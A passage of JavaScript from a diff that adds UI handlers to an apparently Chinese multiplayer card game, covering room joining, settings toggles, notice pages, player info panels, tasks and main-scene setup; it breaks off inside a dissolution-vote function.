+GameUI.showBagBtn = function() { + if (GameData.hallConfig.bagUrl) { + set_self(3017, 37, 1, 0, 0); + } else { + set_self(3017, 37, 0, 0, 0); + } +} +GameUI.ShowTaskTip = function() { + set_self(221, 37, 1, 0, 0); +} +GameUI.HideTaskTip = function() { + set_self(221, 37, 0, 0, 0); +} +GameUI.OpenJoinRoom = function() { + Utl.playSound(Game_Config.ClickButton.src_2); + + + set_group(5, 37, 1, 0, 0); + var _roomcode = Logic.readShortCode(); + if (_roomcode) { + _roomcode = String(_roomcode); + RoomNum = Number(_roomcode); + RoomCode = _roomcode; + for (var i = 0; i < 6; i++) { + if (i < _roomcode.length) { + set_self(236 + i, 7, _roomcode[i], 0, 0); + } else { + set_self(236 + i, 37, 0, 0, 0); + } + + } + } else { + RoomCode = ""; + RoomNum = -1; + for (var i = 0; i < 6; i++) { + set_self(236 + i, 37, 0, 0, 0); + } + } + + +} +GameUI.CloseJoinRoom = function() { + set_group(5, 37, 0, 0, 0); +} +GameUI.StartLoad = function() { + if (get_self(326, 37, 0, 0, 0) == 0) { + set_group(40, 37, 1, 0, 0); + play_ani(1, 327, 34, 0, 360, 0, 1000, 0, 0, 0, 0, 0, 0, 0); + } + + +} +GameUI.EndLoad = function() { + set_group(40, 37, 0, 0, 0); + play_ani(0, 327, 34, 0, 360, 0, 1000, 0, 0, 0, 0, 0, 0, 0); +} +GameUI.OpenSetting = function(mode) { + Utl.playSound(Game_Config.ClickButton.src_2); + var bgm = Utl.ReadData(Utl.Config.bgm); + var sound = Utl.ReadData(Utl.Config.sound); + var shake = Utl.ReadData(Utl.Config.shake); + var voice = Utl.ReadData(Utl.Config.voice); + if (bgm == 0) { + set_self(43, 43, 2, 0, 0); + + } else { + set_self(43, 43, 1, 0, 0); + + } + if (sound == 0) { + set_self(44, 43, 2, 0, 0); + + } else { + set_self(44, 43, 1, 0, 0); + + } + if (shake == 0) { + set_self(357, 43, 2, 0, 0); + + } else { + set_self(357, 43, 1, 0, 0); + + } + if (voice == 0) { + set_self(388, 43, 2, 0, 0); + + } else { + set_self(388, 43, 1, 0, 0); + + } + set_self(181, 18, 361, 0, 0); + set_self(182, 18, 691, 0, 0); + set_group(6, 37, 1, 0, 0); + switch (mode) { + case 0: + //菜单界面设置 + set_self(181, 37, 0, 0, 0); + set_self(182, 37, 0, 0, 0); + + break; + case 1: + //主界面设置 + set_self(58, 37, 0, 0, 0); + GameUI.closeMainSceneBtnPanel(); + switch (C_Player.canexit) { + case 1: + set_self(181, 18, 361, 0, 0); + set_self(182, 18, 691, 0, 0); + if (C_Player.status == 1 && Desk.stage == 0) { + set_self(181, 43, 4, 0, 0); + } else { + set_self(181, 43, 3, 0, 0); + } + if (Desk.infinite == 1 && !Game_Config.sysConfig.vipInfinite) { + set_self(181, 43, 3, 0, 0); + set_self(182, 37, 0, 0, 0); + set_self(181, 18, 520, 0, 0); + } + if (GameData.matchId || GameData.sysConfig.hideWxShare) { //比赛房间 + set_self(181, 43, 3, 0, 0); + GameUI.adaptPositionSpid(181, 41); + set_self(182, 37, 0, 0, 0); + } + break; + case 0: + set_self(181, 43, 1, 0, 0); + set_self(181, 18, 361, 0, 0); + if (Desk.infinite == 1 && !Game_Config.sysConfig.vipInfinite) { + set_self(182, 37, 0, 0, 0); + set_self(181, 18, 520, 0, 0); + } + if (GameData.matchId) { //比赛房间 + set_self(181, 37, 0, 0, 0); + set_self(182, 37, 0, 0, 0); + //GameUI.adaptPositionSpid(182,41); + } + break; + } + + break; + } +} +GameUI.CloseSetting = function() { + set_group(6, 37, 0, 0, 0); +} +GameUI.ClickBgm = function() { //点击音乐按钮 + var bgm = Utl.ReadData(Utl.Config.bgm); + if (bgm == 0) { + + Logic.TurnOnBgm(); + set_self(43, 43, 1, 0, 0); + + } else { + + Logic.TurnOffBgm(); + set_self(43, 43, 2, 0, 0); + + } +} +GameUI.ClickSound = function() { //点击音效按钮 + var sound = Utl.ReadData(Utl.Config.sound); + if (sound == 0) { + Logic.TurnOnSound(); + set_self(44, 43, 1, 0, 0); + + } else { + Logic.TurnOffSound(); + set_self(44, 43, 2, 0, 0); + + } +} +GameUI.ClickShake = function() { //点击摇一摇 + var shake = Utl.ReadData(Utl.Config.shake); + if (shake == 0) { + Logic.TurnOnShake(); + set_self(357, 43, 1, 0, 0); + + } else { + Logic.TurnOffShake(); + set_self(357, 43, 2, 0, 0); + + } +} +GameUI.ClickVoice = function() { //点击音效按钮 + var voice = Utl.ReadData(Utl.Config.voice); + if (voice == 0) { + Logic.TurnOnVoice(); + set_self(388, 43, 1, 0, 0); + + } else { + Logic.TurnOffVoice(); + set_self(388, 43, 2, 0, 0); + + } +} +GameUI.OpenShare = function() { //打开分享页 + Utl.playSound(Game_Config.ClickButton.src_2); + if (GameData.hallConfig.shareBgUrl) { + Func.up_imgurl(345, GameData.hallConfig.shareBgUrl); + } + + set_group(11, 37, 1, 0, 0); + //if(GameData.sysConfig.miniPro){ + + //} +} +GameUI.CloseShare = function() { //关闭分享页 + set_group(11, 37, 0, 0, 0); +} +GameUI.SetMessageInfo = function(_msg) { //设置消息内容 + set_self(81, 7, _msg, 0, 0) +} +GameUI.OpenBoard = function() { //打开通知 + Utl.playSound(Game_Config.ClickButton.src_2); + set_self(570, 43, 1, 0, 0); + set_self(571, 43, 2, 0, 0); + set_self(572, 43, 2, 0, 0); + + set_self(573, 43, 2, 0, 0); + set_self(574, 43, 3, 0, 0); + set_self(575, 43, 5, 0, 0); + + + set_self(3102, 18, ConstVal.Notice.img_clip_x, 0, 0); + set_self(3102, 19, ConstVal.Notice.img_clip_y, 0, 0); + + GameData.noticePage = 0; + if (GameData.advertInfo_0.imgUrl) { + Func.up_imgurl(338, GameData.advertInfo_0.imgUrl); + } + if (GameData.advertInfo_1.imgUrl) { + Func.up_imgurl(339, GameData.advertInfo_1.imgUrl); + } + if (GameData.advertInfo_2.imgUrl) { + Func.up_imgurl(340, GameData.advertInfo_2.imgUrl); + } + if (!GameData.advertInfo_0.type) { + set_self(81, 7, GameData.advertInfo_0.msg, 0, 0); + set_self(404, 18, ConstVal.Notice.clip_x, 0, 0); + set_self(404, 19, ConstVal.Notice.clip_y, 0, 0); + set_self(81, 18, ConstVal.Notice.clip_x, 0, 0); + set_self(81, 19, ConstVal.Notice.clip_y, 0, 0); + set_self(404, 20, GameData.noticePara[GameData.noticePage][1], 0, 0); + set_self(404, 21, GameData.noticePara[GameData.noticePage][0], 0, 0); + + set_group(12, 37, 1, 0, 0); + + if (GameData.advertInfo_0.url) { + set_self(576, 37, 1, 0, 0); + } else { + set_self(576, 37, 0, 0, 0); + } + set_self(3102, 37, 0, 0, 0); + set_self(3105, 37, 0, 0, 0); + set_self(3106, 37, 0, 0, 0); + } else { + + set_group(12, 37, 1, 0, 0); + set_self(404, 37, 0, 0, 0); + set_self(81, 37, 0, 0, 0); + set_self(576, 37, 0, 0, 0); + set_self(3102, 1, 338, 0, 0); + set_self(3102, 21, GameData.advertInfo_0.height, 0, 0); + set_self(3102, 37, 1, 0, 0); + set_self(3105, 37, 0, 0, 0); + set_self(3106, 37, 0, 0, 0); + } + if (!GameData.advertInfo_1.msg && !GameData.advertInfo_1.imgUrl) { + //set_self(570,37,0,0,0); + set_self(571, 37, 0, 0, 0); + set_self(572, 37, 0, 0, 0); + //set_self(573,37,0,0,0); + set_self(574, 37, 0, 0, 0); + set_self(575, 37, 0, 0, 0); + + } +} +GameUI.goBoardPageOne = function() { //跳转通知页一 + GameData.noticePage = 0; + set_self(570, 43, 1, 0, 0); + set_self(571, 43, 2, 0, 0); + set_self(572, 43, 2, 0, 0); + + set_self(573, 43, 2, 0, 0); + set_self(574, 43, 3, 0, 0); + set_self(575, 43, 5, 0, 0); + if (!GameData.advertInfo_0.type) { + set_self(3102, 37, 0, 0, 0); + set_self(3105, 37, 0, 0, 0); + set_self(3106, 37, 0, 0, 0); + set_self(404, 37, 1, 0, 0); + set_self(81, 37, 1, 0, 0); + if (GameData.advertInfo_0.url) { + set_self(576, 37, 1, 0, 0); + } else { + set_self(576, 37, 0, 0, 0); + } + + set_self(81, 7, GameData.advertInfo_0.msg, 0, 0); + set_self(404, 18, ConstVal.Notice.clip_x, 0, 0); + set_self(404, 19, ConstVal.Notice.clip_y, 0, 0); + set_self(81, 18, ConstVal.Notice.clip_x, 0, 0); + set_self(81, 19, ConstVal.Notice.clip_y, 0, 0); + set_self(404, 20, GameData.noticePara[GameData.noticePage][1], 0, 0); + set_self(404, 21, GameData.noticePara[GameData.noticePage][0], 0, 0); + } else { + set_self(3105, 37, 0, 0, 0); + set_self(3106, 37, 0, 0, 0); + set_self(404, 37, 0, 0, 0); + set_self(81, 37, 0, 0, 0); + set_self(3102, 18, ConstVal.Notice.img_clip_x, 0, 0); + set_self(3102, 19, ConstVal.Notice.img_clip_y, 0, 0); + //set_self(3102,1,338,0,0); + set_self(3102, 21, GameData.advertInfo_0.height, 0, 0); + set_self(3102, 37, 1, 0, 0); + } + +} +GameUI.goBoardPageTwo = function() { //跳转通知页二 + GameData.noticePage = 1; + set_self(570, 43, 2, 0, 0); + set_self(571, 43, 1, 0, 0); + set_self(572, 43, 2, 0, 0); + + set_self(573, 43, 1, 0, 0); + set_self(574, 43, 4, 0, 0); + set_self(575, 43, 5, 0, 0); + if (!GameData.advertInfo_1.type) { + set_self(3102, 37, 0, 0, 0); + set_self(3105, 37, 0, 0, 0); + set_self(3106, 37, 0, 0, 0); + set_self(404, 37, 1, 0, 0); + set_self(81, 37, 1, 0, 0); + + set_self(404, 18, ConstVal.Notice.clip_x, 0, 0); + set_self(404, 19, ConstVal.Notice.clip_y, 0, 0); + set_self(81, 18, ConstVal.Notice.clip_x, 0, 0); + set_self(81, 19, ConstVal.Notice.clip_y, 0, 0); + set_self(81, 7, GameData.advertInfo_1.msg, 0, 0); + set_self(404, 20, GameData.noticePara[GameData.noticePage][1], 0, 0); + set_self(404, 21, GameData.noticePara[GameData.noticePage][0], 0, 0); + if (GameData.advertInfo_1.url) { + set_self(576, 37, 1, 0, 0); + } else { + set_self(576, 37, 0, 0, 0); + } + } else { + set_self(3102, 37, 0, 0, 0); + set_self(3106, 37, 0, 0, 0); + set_self(404, 37, 0, 0, 0); + set_self(81, 37, 0, 0, 0); + set_self(3105, 18, ConstVal.Notice.img_clip_x, 0, 0); + set_self(3105, 19, ConstVal.Notice.img_clip_y, 0, 0); + //set_self(3105,1,339,0,0); + set_self(3105, 21, GameData.advertInfo_1.height, 0, 0); + set_self(3105, 37, 1, 0, 0); + } +} +GameUI.goBoardPageThree = function() { //跳转通知页三 + GameData.noticePage = 2; + set_self(570, 43, 2, 0, 0); + set_self(571, 43, 2, 0, 0); + set_self(572, 43, 1, 0, 0); + set_self(573, 43, 1, 0, 0); + set_self(574, 43, 3, 0, 0); + set_self(575, 43, 6, 0, 0); + if (!GameData.advertInfo_2.type) { + set_self(3102, 37, 0, 0, 0); + set_self(3105, 37, 0, 0, 0); + set_self(3106, 37, 0, 0, 0); + set_self(404, 37, 1, 0, 0); + set_self(81, 37, 1, 0, 0); + + set_self(404, 18, ConstVal.Notice.clip_x, 0, 0); + set_self(404, 19, ConstVal.Notice.clip_y, 0, 0); + set_self(81, 18, ConstVal.Notice.clip_x, 0, 0); + set_self(81, 19, ConstVal.Notice.clip_y, 0, 0); + set_self(81, 7, GameData.advertInfo_2.msg, 0, 0); + set_self(404, 20, GameData.noticePara[GameData.noticePage][1], 0, 0); + set_self(404, 21, GameData.noticePara[GameData.noticePage][0], 0, 0); + if (GameData.advertInfo_2.url) { + set_self(576, 37, 1, 0, 0); + } else { + set_self(576, 37, 0, 0, 0); + } + } else { + set_self(3102, 37, 0, 0, 0); + set_self(3105, 37, 0, 0, 0); + set_self(404, 37, 0, 0, 0); + set_self(81, 37, 0, 0, 0); + set_self(3106, 18, ConstVal.Notice.img_clip_x, 0, 0); + set_self(3106, 19, ConstVal.Notice.img_clip_y, 0, 0); + //set_self(3106,1,340,0,0); + set_self(3106, 21, GameData.advertInfo_2.height, 0, 0); + set_self(3106, 37, 1, 0, 0); + } +} +GameUI.CloseBoard = function(_msg) { //关闭消息 + set_group(12, 37, 0, 0, 0); +} +GameUI.OpenInfo_hall = function() { //打开个人信息 + Utl.playSound(Game_Config.ClickButton.src_2); + InfoSex = C_Player.sex; + set_self(118, 1, 25, 0, 0); + set_group(18, 37, 1, 0, 0); + set_self(196, 7, Func.subString(C_Player.nickname, Game_Config.Max.Infonickname, true), 0, 0); + set_self(197, 7, "ID:" + C_Player.playerid, 0, 0); + set_self(198, 7, "IP:" + C_Player.ip, 0, 0); + set_self(3152, 7, "个性签名:", 0, 0); + set_self(199, 7, "积分:" + C_Player.score, 0, 0); + set_self(510, 7, GameData.starName + ":" + C_Player.bean, 0, 0); + if (C_Player.addr) { + set_self(200, 7, C_Player.addr.province + "-" + C_Player.addr.city, 0, 0); + //set_self(117,21,260,0,0); + } else { + set_self(200, 7, "获取定位失败!", 0, 0); + //set_self(117,21,240,0,0); + } + GameUI.setSign(); + if (!GameData.hallConfig.enablePay) { + set_self(510, 37, 0, 0, 0); + } + if (GameData.versionState == 1) { + set_self(510, 37, 0, 0, 0); + } +} +GameUI.setSign = function() { + //C_Player.sign = "分feeeeeeeeeeeeef else f qw eg wqegwqg"; + if (!C_Player.sign) { + set_self(3157, 7, "这个家伙很懒~~", 0, 0); + return; + } + var textW = 13; + var space = 15; + var bgW = get_self(3156, 20, 0, 0, 0); + var count = parseInt((bgW - 2 * space) / textW); + var str = Func.insertFlag(C_Player.sign, "\n", count); + set_self(3157, 18, get_self(3156, 18, 0, 0) + space, 0, 0); + set_self(3157, 7, str, 0, 0); +} +GameUI.CloseInfo_hall = function() { //关闭个人信息 + set_group(18, 37, 0, 0, 0); +} +GameUI.OpenInfo = function(ind, nickname, playerid, ip, sex, seat, bean, cVal) { //打开个人信息 + Utl.playSound(Game_Config.ClickButton.src_2); + GameData.infoSeat = seat; + InfoSex = sex; + if (ind != -1) { + set_self(282, 1, 116 + ind, 0, 0); + } else { + set_self(282, 1, 25, 0, 0); + } + + + set_self(279, 7, Func.subString(nickname, Game_Config.Max.Infonickname, true), 0, 0); + set_self(280, 7, "ID:" + playerid, 0, 0); + set_self(281, 7, "IP:" + ip, 0, 0); + set_self(511, 7, GameData.starName + ":" + bean, 0, 0); + + set_self(216, 21, 230, 0, 0); + set_group(77, 37, 1, 0, 0); + GameUI.setShortRoom(GameData.infoSeat, cVal); + if (typeof(seat) != "undefined") { + var status = Logic.ChangeToStatus(C_Player.seat, seat); + if (status != 0) { + GameData.InteractPlayer = seat; + set_self(216, 21, 325, 0, 0); + set_group(38, 37, 1, 0, 0); + } + } + if (!GameData.hallConfig.enablePay) { + set_self(511, 37, 0, 0, 0); + } + +} +GameUI.setShortRoom = function(seat, val) { + if (get_self(216, 37, 0, 0, 0)) { + if (GameData.infoSeat == seat) { //显示的为当前变化的玩家 + if (typeof val != "undefined") { + set_self(3125, 7, GameData.sysConfig.charmName + ":" + val, 0, 0); + } else { + set_self(3125, 37, 0, 0, 0); + } + } + } else { + + } +} +GameUI.CloseInfo = function() { //关闭个人信息 + set_group(77, 37, 0, 0, 0); + set_group(38, 37, 0, 0, 0); +} +GameUI.OpenTask = function() { //打开任务 + GameData.copyTaskTagList = []; + set_self(ConstVal.Task.bg_spid, 43, GameData.nameImgFrame_1, 0, 0); + set_group(10, 37, 1, 0, 0); + set_self(ConstVal.Task.f_spid, 18, ConstVal.Task.clip_x); + set_self(ConstVal.Task.f_spid, 19, ConstVal.Task.clip_y); + set_self(ConstVal.Task.f_spid, 21, ConstVal.Task.clip_h); + var task_des = ""; + var reward_des = ""; + var proc_des = ""; + + var bg_copy = ""; + var task_des_copy = ""; + var reward_des_copy = ""; + var proc_copy = ""; + var proc_des_copy = ""; + + var Dis = ConstVal.Task.bg_w + ConstVal.Task.bg_dis_x; + + var bg_x = 0; + var task_des_x = 0; + var reward_des_x = 0; + var proc_des_x = 0; + + for (var i = 0; i < TaskInfo.length; i++) { + var text = TaskInfo[i].title; + var text_copy = ""; + for (var k = 0; k < text.length; k++) { + text_copy += text[k]; + if ((k + 1) % 8 == 0 && k != 0) { + text_copy += "\n"; + } + } + + + //公共需要显示的 + task_des = text_copy; + reward_des = "奖励" + GameData.roomCardName + ",数量:" + TaskInfo[i].award; + bg_x = ConstVal.Task.bg_x + ConstVal.Task.bg_x + i * Dis; + task_des_x = ConstVal.Task.bg_x + ConstVal.Task.task_des_x + i * Dis; + reward_des_x = ConstVal.Task.bg_x + ConstVal.Task.bg_w / 2 - reward_des.gblen() * 6.5 + i * Dis; + + bg_copy = ifast_addtospritefromspritecopy(ConstVal.Task.f_spid, ConstVal.Task.bg_spid, bg_x, ConstVal.Task.bg_y + ConstVal.Task.bg_y, ConstVal.Task.bg_tag + i); //背景精灵复制 + GameData.copyTaskTagList.push(ConstVal.Task.bg_tag + i); + + task_des_copy = ifast_addtospritefromspritecopy(ConstVal.Task.f_spid, ConstVal.Task.task_des_spid, task_des_x, ConstVal.Task.bg_y + ConstVal.Task.task_des_y, ConstVal.Task.task_des_tag + i); //任务详情描述 + set_self(task_des_copy, 7, task_des, 0, 0); + GameData.copyTaskTagList.push(ConstVal.Task.task_des_tag + i); + + reward_des_copy = ifast_addtospritefromspritecopy(ConstVal.Task.f_spid, ConstVal.Task.reward_des_spid, reward_des_x, ConstVal.Task.bg_y + ConstVal.Task.reward_des_y, ConstVal.Task.reward_des_tag + i); //任务奖励描述 + set_self(reward_des_copy, 7, reward_des, 0, 0); + GameData.copyTaskTagList.push(ConstVal.Task.reward_des_tag + i); + //根据任务状态显示 + + proc_des = TaskInfo[i].finish + "/" + TaskInfo[i].total; + proc_des_x = ConstVal.Task.bg_x + ConstVal.Task.bg_w / 2 - proc_des.gblen() * 3.25 + i * Dis; + if (TaskInfo[i].state == 0) { //任务一未完成 + if (i == 0) { //第一个任务需要显示去做任务 + ifast_addtospritefromspritecopy(ConstVal.Task.f_spid, ConstVal.Task.tofinish_btn_spid, ConstVal.Task.bg_x + ConstVal.Task.bg_w / 2 - get_self(ConstVal.Task.tofinish_btn_spid, 20, 0, 0, 0) / 2, ConstVal.Task.bg_y + ConstVal.Task.tofinish_btn_y, ConstVal.Task.tofinish_btn_tag + i); //去做任务 + GameData.copyTaskTagList.push(ConstVal.Task.tofinish_btn_tag + i); + } + ifast_addtospritefromspritecopy(ConstVal.Task.f_spid, ConstVal.Task.proc_bg_spid, ConstVal.Task.bg_x + ConstVal.Task.bg_w / 2 - get_self(ConstVal.Task.proc_bg_spid, 20, 0, 0, 0) / 2 + i * Dis, ConstVal.Task.bg_y + ConstVal.Task.proc_bg_y, ConstVal.Task.proc_bg_tag + i); //任务进度背景 + GameData.copyTaskTagList.push(ConstVal.Task.proc_bg_tag + i); + proc_copy = ifast_addtospritefromspritecopy(ConstVal.Task.f_spid, ConstVal.Task.proc_spid, ConstVal.Task.bg_x + ConstVal.Task.bg_w / 2 - get_self(ConstVal.Task.proc_spid, 20, 0, 0, 0) / 2 + i * Dis, ConstVal.Task.bg_y + ConstVal.Task.proc_y, ConstVal.Task.proc_tag + i); //任务进度前景 + set_self(proc_copy, 20, get_self(ConstVal.Task.proc_spid, 20, 0, 0, 0) * TaskInfo[i].finish / TaskInfo[i].total, 0, 0); + GameData.copyTaskTagList.push(ConstVal.Task.proc_tag + i); + proc_des_copy = ifast_addtospritefromspritecopy(ConstVal.Task.f_spid, ConstVal.Task.proc_des_spid, proc_des_x, ConstVal.Task.bg_y + ConstVal.Task.proc_des_y, ConstVal.Task.proc_des_tag + i); //任务进度文字描述 + set_self(proc_des_copy, 7, proc_des, 0, 0); + GameData.copyTaskTagList.push(ConstVal.Task.proc_des_tag + i); + } else { //任务一已完成 + if (TaskInfo[i].state == 1) { //未领取 + ifast_addtospritefromspritecopy(ConstVal.Task.f_spid, ConstVal.Task.get_reward_btn_spid, ConstVal.Task.bg_x + ConstVal.Task.bg_w / 2 - get_self(ConstVal.Task.get_reward_btn_spid, 20, 0, 0, 0) / 2 + i * Dis, ConstVal.Task.bg_y + ConstVal.Task.get_reward_btn_y, ConstVal.Task.get_reward_btn_tag + i); //领取奖励 + GameData.copyTaskTagList.push(ConstVal.Task.get_reward_btn_tag + i); + } else { + ifast_addtospritefromspritecopy(ConstVal.Task.f_spid, ConstVal.Task.isreward_spid, ConstVal.Task.bg_x + ConstVal.Task.bg_w / 2 - get_self(ConstVal.Task.isreward_spid, 20, 0, 0, 0) / 2 + i * Dis, ConstVal.Task.bg_y + ConstVal.Task.isreward_y, ConstVal.Task.isreward_tag + i); //领取奖励 + GameData.copyTaskTagList.push(ConstVal.Task.isreward_tag + i); + } + } + + } + set_self(ConstVal.Task.f_spid, 20, TaskInfo.length * Dis, 0, 0); + +} + +GameUI.CloseTask = function() { //关闭任务 + for (var tag = 0; tag < GameData.copyTaskTagList.length; tag++) { + ifast_dllpritefromspritecopy(ConstVal.Task.f_spid, tag); + } + set_group(10, 37, 0, 0, 0); +} + +GameUI.OpenHelp = function() { //打开帮助 + Game_Modify.onOpenHelp(290); + Utl.playSound(Game_Config.ClickButton.src_2); + GameUI.closeMainSceneBtnPanel(); + set_group(19, 37, 1, 0, 0); +} +GameUI.CloseHelp = function() { + set_group(19, 37, 0, 0, 0); +} +GameUI.SetTaskInfo = function(_msg) { + TaskInfo = _msg.data.tasks; +} +GameUI.OpenCharge = function(_msg) { //打开充值提示 + set_self(148, 7, _msg, 1, 0); + set_self(680, 7, GameData.wechat_gzh, 0, 0); + set_self(680, 20, GameData.wechat_gzh.gblen() * 13.5, 0, 0); + set_group(20, 37, 1, 0, 0); + +} +GameUI.CloseCharge = function() { //关闭充值 + set_group(20, 37, 0, 0, 0); +} +GameUI.MainScene = function(bTemp) { //游戏主界面 + GameUI.stopMenuSceneAnimation(); + this.HideNotice(); + + set_self(195, 43, GameData.nameImgFrame_1, 0, 0); + //GameUI.Mem.headSize[0] = get_self(376,20,0,0,0); + //GameUI.Mem.headSize[1] = get_self(376,21,0,0,0); + if (bTemp) { //显示 + this.invisible(); + //GameData.getnetwork = "MainScene"; + if (Desk.roomcode) { + set_self(3141, 7, Desk.roomcode, 0, 0); + } + GameData.NetWork = Func.getnetwork(); + if (GameData.NetWork == 2) { + set_self(336, 43, 3, 0, 0); + Func.getwifisignalLevel(); + } else { + set_self(336, 43, 4, 0, 0); + } + GameData.Battery = Func.getbattery(); + + if (GameData.Battery <= 0.2) { + set_self(338, 43, 3, 0, 0); + } else { + set_self(338, 43, 2, 0, 0); + } + + if (GameData.OS == ConstVal.OS.apple) { //苹果 + set_self(154, 1, 174, 0, 0); + set_self(155, 1, 174, 0, 0); + set_self(156, 1, 173, 0, 0); + } else if (GameData.OS == ConstVal.OS.android) { //安卓 + set_self(154, 1, 69, 0, 0); + set_self(155, 1, 69, 0, 0); + set_self(156, 1, 70, 0, 0); + } + + + + set_group(21, 37, 1, 0, 0); + set_self(3115, 37, 0, 0, 0); + set_self(3116, 37, 0, 0, 0); + GameUI.updateSysNoticeCount2(); + GameUI.updatePlayerInfoUI(); + GameUI.openRoomInfo(); + set_self(3141, 37, 0, 0, 0); + set_self(3142, 37, 0, 0, 0); + GameUI.playTopInfoAnimation(); + } else { //隐藏 + set_group(21, 37, 0, 0, 0); + } + Utl.playMusic(); + GameData.Scene = 2; + Game_Modify.onEnterMainScene(Desk.roomtype); + GameData.gameData = Logic.setGameData(h5RpcList.joinRoom, { + roomcode: Desk.roomcode + }); + if (GameData.h5Version == 1) { + //GameData.gameData = Logic.setGameData(h5RpcList.joinRoom,{roomcode:Desk.roomcode}); + GameData.shareAppMessage = Logic.getShareDataObj(Game_Config.Share.title + Game_Config.Share.gameTitle + GameData.shareMsg, Game_Config.Share.gameDescription); + GameData.shareTimeline = Logic.getShareDataObj1(Game_Config.Share.title + Game_Config.Share.description, ""); + shareLink(GameData.shareTimeline, GameData.shareAppMessage); + } + GameUI.updateInsertHTML(); + if (GameData.sysConfig.miniPro) { + set_self(153, 37, 0, 0, 0); + } + +} +GameUI.mainSceneLoaded = function() { + if (Game_Config.sysConfig) { + if (Game_Config.sysConfig.mainSceneButton) { + Utl.closeMainSceneButton(); + var type = 0; + if (Game_Config.sysConfig.vipInfinite) { + type = 1; + } + Utl.closeCommunication(type); + } + } +} +GameUI.updatePlayerInfoUI = function() { + if (Game_Config.sysConfig) { + if (Game_Config.sysConfig.mainScenePlayerInfo) { + return; + } + } + if(typeof Game_Modify.updatePlayerInfoUI !== 'undefined'){ + for(var i = 0; i < Desk.PlayerList.length; i++){ + Game_Modify.updatePlayerInfoUI(i); + } + }else{ + for (var i = 0; i < Desk.PlayerList.length; i++) { + if (Desk.PlayerList[i].playerid != -1) { + var ind = Logic.ChangeToStatus(C_Player.seat, i); + var text = Func.subString(Desk.PlayerList[i].nickname, Game_Config.Info.Mainnickname, true); + set_self(406 + ind, 7, text, 0, 0); + if (ind == 0) { + if (Game_Config.Info.myPositionDefault) { + set_self(406 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + } else { + set_self(406 + ind, 18, Game_Config.Info.myPosition - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + } + } else { + if (Game_Config.Info.otherPositionDefault) { + set_self(406 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + } else { + set_self(406 + ind, 18, Game_Config.Info.position[ind - 1] - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + } + } + + set_self(436 + ind, 7, 0, 0, 0); + if (ind == 0) { + if (Game_Config.Info.myPositionDefault) { + set_self(436 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - Game_Config.Info.textwidth_2 / 2, 0, 0); + } else { + set_self(436 + ind, 18, Game_Config.Info.myPosition - Game_Config.Info.textwidth_2 / 2, 0, 0); + } + } else { + if (Game_Config.Info.otherPositionDefault) { + set_self(436 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - Game_Config.Info.textwidth_2 / 2, 0, 0); + } else { + set_self(436 + ind, 18, Game_Config.Info.position[ind - 1] - Game_Config.Info.textwidth_2 / 2, 0, 0); + } + } + Func.up_imgurl(116 + ind, Desk.PlayerList[i].avatar); + set_group(43 + ind, 37, 1, 0, 0); + } else { + var ind = Logic.ChangeToStatus(C_Player.seat, i); + set_group(43 + ind, 37, 0, 0, 0); + } + } + } +} +GameUI.StartVoteCountDown = function(time) { + VoteTime = time; + set_self(2, 57, 1000, 0, 0); + set_self(222, 20, String(VoteTime).length * 30, 0, 0); + set_self(222, 7, VoteTime, 0, 0); +} +GameUI.PlayerJoinRoom = function(seat) { //玩家加入房间显示 + if (Game_Config.sysConfig) { + if (Game_Config.sysConfig.mainScenePlayerInfo) { + return; + } + } + if(typeof Game_Modify.updatePlayerInfoUI !== 'undefined'){ + for(var i = 0; i < Desk.PlayerList.length; i++){ + Game_Modify.updatePlayerInfoUI(i); + } + }else{ + var ind = Logic.ChangeToStatus(C_Player.seat, seat); + var text = Func.subString(Desk.PlayerList[seat].nickname, Game_Config.Info.Mainnickname, true); + set_self(406 + ind, 7, text, 1, 0); + if (ind == 0) { + if (Game_Config.Info.myPositionDefault) { + set_self(406 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + } else { + set_self(406 + ind, 18, Game_Config.Info.myPosition - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + } + } else { + if (Game_Config.Info.otherPositionDefault) { + set_self(406 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + } else { + set_self(406 + ind, 18, Game_Config.Info.position[ind - 1] - text.gblen() * Game_Config.Info.textwidth_1 / 2, 0, 0); + } + } + set_self(436 + ind, 7, 0, 0, 0); + if (ind == 0) { + if (Game_Config.Info.myPositionDefault) { + set_self(436 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - Game_Config.Info.textwidth_2 / 2, 0, 0); + } else { + set_self(436 + ind, 18, Game_Config.Info.myPosition - Game_Config.Info.textwidth_2 / 2, 0, 0); + } + } else { + if (Game_Config.Info.otherPositionDefault) { + set_self(436 + ind, 18, get_self(376 + ind, 18, 0, 0, 0) + get_self(376 + ind, 20, 0, 0, 0) / 2 - Game_Config.Info.textwidth_2 / 2, 0, 0); + } else { + set_self(436 + ind, 18, Game_Config.Info.position[ind - 1] - Game_Config.Info.textwidth_2 / 2, 0, 0); + } + } + Func.up_imgurl(116 + ind, Desk.PlayerList[seat].avatar); + set_group(43 + ind, 37, 1, 0, 0); + } +} +GameUI.PlayerLeaveRoom = function(seat) { //玩家加入房间显示 + var ind = Logic.ChangeToStatus(C_Player.seat, seat); + set_self(406 + ind, 7, "", 0, 0); + set_self(436 + ind, 7, "", 0, 0); + set_group(43 + ind, 37, 0, 0, 0); +} +GameUI.OpenApply = function(bTemp, time) { //打开申请解散投票界面 + this.CloseSetting(); + GameUI.CloseChat(); + set_self(369, 7, "三人及以下全部同意达成解散,\n三人以上超过半数同意达成解散"); + this.VoteList = []; + + for (var i = 0; i < Desk.agreefree.length; i++) { + if (Desk.agreefree[i] != null && Desk.agreefree[i] != 0) { + 